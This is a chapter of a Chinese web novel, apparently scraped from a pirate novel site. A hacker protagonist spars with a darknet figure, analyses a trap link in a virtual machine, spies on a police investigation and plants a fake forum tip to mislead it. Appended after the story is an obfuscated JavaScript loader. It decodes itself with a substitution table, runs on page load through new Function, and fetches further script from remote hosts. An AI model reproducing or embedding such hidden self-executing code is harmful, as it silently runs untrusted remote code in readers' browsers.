首页
第4章 收藏家的邀请2
返回
关灯 护眼:关 字号:小

第4章 收藏家的邀请2

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第4章收藏家的邀请2(第1/2页)
    纪玄几乎能听到“收藏家”在屏幕那头的笑声。对方知道他在撒谎,知道密钥不可能真的遗失——任何一个真正的创建者,都会把那种级别的身份凭证备份在多个安全的地方。但对方没有戳破,而是顺着他的谎言继续演戏,同时把那个带毒的链接再次推到他面前。
    这是一种心理游戏。我给你选择:要么承认你在撒谎,用密钥打开链接,落入我的陷阱;要么继续撒谎,用普通方式打开链接,但那样你会暴露在更大的风险中(因为普通方式缺少创建者密钥提供的额外加密保护);要么你干脆不打开,但那意味着你彻底拒绝我的“善意”,我们就是敌人了。
    纪玄选择了第四条路。
    他输入回复:
    “我会考虑。但在此之前,我需要知道:偏离协议的决定,是谁做出的?其他创建者呢?”
    他把问题抛了回去。既然“收藏家”想玩心理游戏,那他就把游戏升级——直接质问平台的权力结构变化,要求知道其他创建者的态度。这符合一个“怀旧者”对平台堕落的不满,同时也是一种试探:其他创建者还活着吗?他们支持“收藏家”的做法吗?还是说,他们已经被清除了?
    这一次,等待的时间更长。
    两分钟。三分钟。四分钟。
    窗外的阳光已经移到了墙壁的上半部分,接近中午了。公寓里变得闷热,纪玄能感觉到后背的衬衫被汗水浸湿,贴在皮肤上。他没有开空调,因为空调外机的噪音会干扰他的注意力。
    终于,在第五分钟时,新消息弹了出来:
    “决定是集体做出的。时代需要变革。至于其他创建者……有些人离开了,有些人留下了,有些人选择了沉默。就像你一样,渊瞳。”文字在这里停顿,然后继续,“但重要的是,平台在成长,在进化。月圆盛宴将是这种进化的巅峰。你会看到的。如果你愿意打开那扇门的话。”
    门。
    那个加密链接。
    “收藏家”再次把话题拉回了邀请函上,同时回避了关于其他创建者的具体问题。这种回避本身就是一个答案:其他创建者要么已经被清除,要么已经被收编,要么像纪玄一样隐藏了起来,但无论如何,他们都不再是“收藏家”的障碍。
    纪玄知道,对话到这里已经接近尾声。再继续问下去,只会让对方更加怀疑。他需要给出一个得体的退场。
    他输入最后一条消息:
    “我会考虑。静默观察者,仅此而已。”
    发送。
    然后,不等对方回应,他直接切断了整个通信通道,关闭了“信使”程序,启动了数据清理脚本。所有通信记录、临时文件、内存缓存被彻底擦除。电脑风扇发出轻微的呼啸声,硬盘指示灯快速闪烁。
    做完这一切,纪玄靠在椅背上,长长地吐出一口气。
    他的指尖在微微颤抖。
    不是恐惧,而是高度紧张后的生理反应。刚才那二十分钟的对话,每一秒都在刀尖上行走。任何一个用词错误,任何一个反应时间的偏差,都可能让“收藏家”看穿他的伪装。
    但至少,他暂时稳住了局面。
    “收藏家”没有立刻把他标记为敌人,而是继续保持着那种暧昧的、试探性的态度。这给了纪玄喘息的时间,也给了他继续周旋的空间。
    现在,他需要分析刚才对话中获取的信息。
    首先,“收藏家”确认了“月圆盛宴”的存在,并且将其描述为“平台进化的巅峰”。这意味着拍卖会的规模可能比纪玄想象的更大,参与方可能更多,犯罪性质也可能更严重。
    其次,“收藏家”对“偏离协议”的解释是“时代需要变革”,并且声称这是“集体决定”。这可能是谎言,但也可能意味着平台内部已经完成了权力整合,所有反对声音都已被清除。
    第三,那个加密链接——毫无疑问是陷阱,但陷阱里可能也藏着真实的信息。“收藏家”说“看不到一些特别的内容”,暗示链接里有一部分信息是只有用创建者密钥才能解密的。这可能是真的,也可能是诱饵。
    纪玄需要知道那个链接里到底有什么,但他绝对不能用自己的真实环境去打开它。
    他思考了几分钟,然后重新坐直身体,打开另一个虚拟机软件。他在虚拟机里搭建了一个完全隔离的测试环境——操作系统是从空白镜像安装的,没有任何个人信息,网络连接通过多重代理跳转,所有输入输出都被严格监控。
    然后,他复制了那个加密链接,粘贴到虚拟机的浏览器里。
    没有点击。只是粘贴。
    他要做的不是打开链接,而是分析链接本身。
    加密链接的格式很特殊:它以“darknet://”开头,后面跟着一串由Base64编码的乱码。纪玄将这串乱码解码,得到了一组更复杂的二进制数据。数据里嵌入了多个参数:目标服务器地址、端口、协议版本、会话ID、时间戳……还有一段加密的载荷,那可能就是木马程序本身。
    但纪玄关注的不是载荷,而是链接里携带的元数据。
    他编写了一个简单的解析脚本,提取出链接中的目标服务器地址。地址是经过混淆的,但混淆算法很原始——只是简单的字符替换和位移。纪玄只花了三分钟就破解了混淆,得到了真实的IP地址。
    `203.112.89.177`
    他立刻将这个IP地址输入到地理定位数据库中查询。结果很快返回:
    `地理位置:中国,江城,旧港区。ISP:江城港务集团数据中心。`
    旧港区。
    纪玄的呼吸微微一顿。
    和他从广告服务器中获取的线索一致——“旧港区7号仓库”。现在,“收藏家”用来发送消息的服务器,也位于旧港区。这不是巧合。
    “收藏家”的物理据点,很可能就在旧港区。那个废弃的港口区域,遍布着上世纪七八十年代建造的老仓库、旧厂房,很多早已废弃,但基础设施(电力、网络)依然存在,是隐藏非法活动的绝佳地点。
    纪玄将这个信息记录下来,加密保存。
    然后,他继续分析链接中的其他参数。端口号是`443`——标准的HTTPS端口,但这在暗网通信中并不常见,因为暗网通常使用非标准端口来躲避扫描。使用`443`端口,可能是为了伪装成正常的网页流量,但也可能是因为服务器所在的网络环境只开放了少数几个常用端口。
    协议版本显示为`DarkNet-Protocolv2.1`,这是“深渊”平台当前使用的主流通信协议。会话ID是一个随机生成的UUID,时间戳是今天上午九点三十七分——正是“收藏家”发送链接的时间。
    (本章未完,请点击下一页继续阅读)第4章收藏家的邀请2(第2/2页)
    所有这些信息都被纪玄仔细记录下来,整理成一份情报摘要。
    做完这些,他关闭了虚拟机,再次清理了所有痕迹。
    窗外的阳光已经升到正午的高度,白晃晃的光线透过百叶窗,在房间里投下锐利的阴影。纪玄感到饥饿和疲惫同时袭来,但他没有起身去找食物,而是继续坐在电脑前,思考着下一步行动。
    “收藏家”的试探暂时应付过去了,但危机远未解除。那个加密链接就像一颗定时炸弹,悬在那里。“收藏家”在等待他的选择——打开,或者不打开。无论他选择哪条路,对方都会有相应的对策。
    而与此同时,另一条战线也在悄然推进。
    纪玄打开了一个加密的监控程序,这个程序连接着他早先在刑侦支队内部网络中埋下的几个监听节点。节点权限很低,只能捕获一些公开的网络流量和日志信息,但足够了。
    他调取了技术科过去二十四小时的网络活动日志。
    日志显示,从昨天下午开始,技术科对“判官”帖子的溯源工作进入了新阶段。他们不再仅仅分析帖子内容,而是开始追踪发帖时使用的网络路径。通过分析帖子中嵌入的元数据(图片的EXIF信息、文本的编码特征、发布时间与网络延迟的关系),他们构建了一个发帖者的可能位置模型。
    模型给出了三个IP地址范围,概率从高到低排列:
    第一,市图书馆公共无线网络(概率68%)。
    第二,江城大学校园网(概率22%)。
    第三,旧港区附近的公共热点(概率10%)。
    纪玄的目光停留在第一条上。
    市图书馆。
    他三天前渗透“深渊”广告服务器的地方。
    技术科的追踪方向是对的,只是精度还不够。他们锁定了图书馆的公共网络,但无法进一步缩小到具体的设备、具体的用户、具体的时间点。图书馆的无线网络不记录用户身份,监控录像的保存期限也只有七天,而且覆盖范围有限。
    但这是一个危险的信号。
    林薇一定会派人去图书馆调查。调取监控,询问工作人员,排查可疑人员。虽然纪玄当时做了伪装,但任何伪装都不是完美的。如果林薇足够仔细,如果她调取了图书馆入口的监控,如果她注意到了那个戴着帽子、背着黑色背包、在深夜进入图书馆的模糊身影……
    纪玄感到后颈的汗毛微微竖起。
    他关掉监控程序,再次清理痕迹,然后终于站起身,走向厨房。
    从冰箱里拿出昨天剩下的三明治,他靠在料理台边,机械地咀嚼着。食物的味道很淡,面包有点干,生菜已经蔫了。但他需要能量,需要保持头脑清醒。
    一边吃,他一边思考着对策。
    图书馆这条线,他需要提前做些准备。如果林薇真的去调查,他必须确保自己的行动没有留下可追溯的破绽。这意味着他可能需要再次潜入图书馆,抹除一些可能存在的痕迹——比如,某个角落的监控录像中,可能拍到了他丢弃的贴膜包装;比如,他使用过的某台公共电脑,可能残留着未彻底清理的缓存。
    但再次潜入风险极高。林薇可能已经派人盯住了图书馆,或者即将派人去。他可能自投罗网。
    更稳妥的做法是,引导调查方向。
    纪玄快速吃完三明治,喝光了剩下的半瓶水,然后回到电脑前。他打开了一个匿名发帖工具,连接到一个位于海外的代理节点,然后开始编辑一条新的信息。
    这次,他不是以“判官”的身份发帖,而是伪装成一个普通的暗网用户,在一个与“深渊”无关的犯罪论坛上,发布了一条看似无关的线索:
    “昨晚在旧港区附近看到可疑车辆,黑色SUV,无牌照,停在7号仓库门口。车里有人用望远镜观察仓库。可能是条子踩点。”
    帖子内容很短,配了一张模糊的照片——照片是纪玄从公开的街景地图中截取的,经过处理,看起来像是夜间用手机偷拍的。照片里确实有一辆黑色SUV停在某个仓库门口,但车牌被故意模糊掉了。
    发帖时间设置为“昨天深夜”。
    然后,他点击发送。
    帖子立刻出现在论坛上,混在一堆垃圾广告和无关讨论中,并不起眼。但纪玄知道,这条信息会被监控暗网的警方技术部门捕捉到。旧港区、7号仓库、可疑车辆——这些关键词会立刻引起林薇的注意。
    她会派人去旧港区调查。
    而旧港区,正是“收藏家”服务器所在的位置,也是“月圆盛宴”可能举行的地方。
    如果林薇的调查队伍在旧港区活动,可能会打草惊蛇,让“收藏家”有所警觉,从而分散他对图书馆调查线的注意力。甚至,如果运气好,警方和“深渊”的势力可能在旧港区发生某种形式的接触或冲突,那将给纪玄创造更多的操作空间。
    这是一步险棋,但也是目前最有效的转移视线的方法。
    做完这一切,纪玄终于感到了真正的疲惫。他看了眼时间,下午一点二十三分。他已经连续工作了超过十八个小时。
    他需要休息。
    但他不能睡在这里。公寓可能已经被监控,或者即将被监控。他需要找一个更安全的地方。
    纪玄快速收拾了几样必需品:另一台干净的笔记本电脑、备用手机、充电器、几件换洗衣物、现金。他把这些东西装进一个普通的双肩包,然后换上一件灰色的夹克,戴上棒球帽。
    出门前,他检查了公寓的每一个角落,确保没有留下任何敏感物品。电脑硬盘已经彻底格式化,所有纸质文件都已销毁,通信设备全部关闭或带走。
    最后,他站在门口,回头看了一眼这个他住了三年的公寓。
    简单的家具,空荡的墙壁,积灰的窗户。这里从来不是家,只是一个据点。现在,连据点也要暂时放弃了。
    他关上门,锁好,走下楼梯。
    楼外的阳光很刺眼,街道上车来车往,行人匆匆。纪玄压低帽檐,混入人群,朝着地铁站的方向走去。
    他的手机在口袋里震动了一下。
    他拿出手机,看了一眼屏幕。
    是一条加密短信,来自一个未知号码。内容只有两个字:
    “快走。”
    纪玄的脚步没有停顿,但心跳漏了一拍。
    他删掉短信,清除记录,然后继续向前走。
    帽檐下的眼睛,扫视着周围的街道、车辆、行人。没有发现明显的异常,但那种被注视的感觉,像冰冷的蛛丝,悄然缠上了他的后颈。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();